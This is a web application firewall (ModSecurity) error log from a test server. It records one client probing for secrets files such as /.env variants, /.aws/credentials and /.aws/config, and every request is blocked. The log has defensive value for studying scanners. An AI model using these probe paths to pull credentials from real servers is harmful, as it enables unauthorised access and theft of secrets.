[Sat Jul 12 13:53:19.260609 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhQAAAAk&quot;]
[Sat Jul 12 13:53:19.260794 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhQAAAAk&quot;]
[Sat Jul 12 13:53:19.289552 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhgAAAAk&quot;]
[Sat Jul 12 13:53:19.289949 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhgAAAAk&quot;]
[Sat Jul 12 13:53:19.290152 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhgAAAAk&quot;]
[Sat Jul 12 13:53:19.348840 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiAAAAAk&quot;]
[Sat Jul 12 13:53:19.349069 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiAAAAAk&quot;]
[Sat Jul 12 13:53:19.349244 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiAAAAAk&quot;]
[Sat Jul 12 13:53:19.377856 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiQAAAAk&quot;]
[Sat Jul 12 13:53:19.378018 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiQAAAAk&quot;]
[Sat Jul 12 13:53:19.378261 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiQAAAAk&quot;]
[Sat Jul 12 13:53:19.378514 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiQAAAAk&quot;]
[Sat Jul 12 13:53:19.527741 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiwAAAAk&quot;]
[Sat Jul 12 13:53:19.527986 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiwAAAAk&quot;]
[Sat Jul 12 13:53:19.528176 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAiwAAAAk&quot;]
[Sat Jul 12 13:53:19.588884 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjQAAAAk&quot;]
[Sat Jul 12 13:53:19.589137 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjQAAAAk&quot;]
[Sat Jul 12 13:53:19.589320 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjQAAAAk&quot;]
[Sat Jul 12 13:53:19.647953 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjwAAAAk&quot;]
[Sat Jul 12 13:53:19.648223 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjwAAAAk&quot;]
[Sat Jul 12 13:53:19.648422 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAjwAAAAk&quot;]
[Sat Jul 12 13:53:19.677469 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkAAAAAk&quot;]
[Sat Jul 12 13:53:19.677709 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkAAAAAk&quot;]
[Sat Jul 12 13:53:19.677891 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkAAAAAk&quot;]
[Sat Jul 12 13:53:19.736057 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravael/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkgAAAAk&quot;]
[Sat Jul 12 13:53:19.736285 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkgAAAAk&quot;]
[Sat Jul 12 13:53:19.736455 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravael/core/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAkgAAAAk&quot;]
[Sat Jul 12 13:53:19.795677 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlAAAAAk&quot;]
[Sat Jul 12 13:53:19.796034 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlAAAAAk&quot;]
[Sat Jul 12 13:53:19.796279 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlAAAAAk&quot;]
[Sat Jul 12 13:53:19.825179 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlQAAAAk&quot;]
[Sat Jul 12 13:53:19.825508 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlQAAAAk&quot;]
